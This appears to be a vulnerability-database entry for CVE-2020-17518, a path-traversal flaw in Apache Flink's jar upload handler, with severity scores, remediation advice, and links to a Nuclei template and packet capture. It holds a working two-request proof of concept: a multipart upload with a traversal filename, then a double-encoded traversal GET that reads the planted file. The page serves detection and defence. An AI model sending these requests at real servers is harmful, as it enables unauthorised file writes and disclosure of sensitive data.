🔙 목록으로 돌아가기

CVE-2020-17518: Apache Flink 1.5.1 - Local File Inclusion

TitleApache Flink 1.5.1 - Local File Inclusion
Authorpdteam
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
RemediationUpgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
CVSS Score7.5
EPSS Score0.93243
CVE IDCVE-2020-17518
CWE IDCWE-22,CWE-23
Tags cve2020 cve lfi flink fileupload vulhub apache intrusive vkev vuln

🔍 Vulnerability Description

Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.

🌐 HTTP Request

POST /jars/upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.13
Connection: close
Content-Length: 206
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Accept-Encoding: gzip

------WebKitFormBoundaryoZ8meKnrrso89R6Y

Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"



38FRUdtUDYBTJsnktJy5u4MjK4W

------WebKitFormBoundaryoZ8meKnrrso89R6Y--
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17518.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-17518.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A